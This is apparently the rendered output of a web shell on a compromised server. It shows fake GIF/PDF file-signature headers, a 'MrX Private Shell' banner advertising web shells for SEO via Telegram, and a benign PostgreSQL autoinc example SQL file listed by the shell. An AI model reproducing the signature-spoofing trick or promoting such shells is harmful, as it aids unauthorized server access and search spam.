GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
DROP SEQUENCE next_id;
DROP TABLE ids;
CREATE SEQUENCE next_id START -2 MINVALUE -2;
CREATE TABLE ids (
id int4,
idesc text
);
CREATE TRIGGER ids_nextid
BEFORE INSERT OR UPDATE ON ids
FOR EACH ROW
EXECUTE PROCEDURE autoinc (id, next_id);
INSERT INTO ids VALUES (0, 'first (-2 ?)');
INSERT INTO ids VALUES (null, 'second (-1 ?)');
INSERT INTO ids(idesc) VALUES ('third (1 ?!)');
SELECT * FROM ids;
UPDATE ids SET id = null, idesc = 'first: -2 --> 2'
WHERE idesc = 'first (-2 ?)';
UPDATE ids SET id = 0, idesc = 'second: -1 --> 3'
WHERE id = -1;
UPDATE ids SET id = 4, idesc = 'third: 1 --> 4'
WHERE id = 1;
SELECT * FROM ids;
SELECT 'Wasn''t it 4 ?' as nextval, nextval ('next_id') as value;
insert into ids (idesc) select textcat (idesc, '. Copy.') from ids;
SELECT * FROM ids;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| autoinc.example | File | 798 B | 0644 |
|
| insert_username.example | File | 560 B | 0644 |
|
| moddatetime.example | File | 493 B | 0644 |
|
| refint.example | File | 2.06 KB | 0644 |
|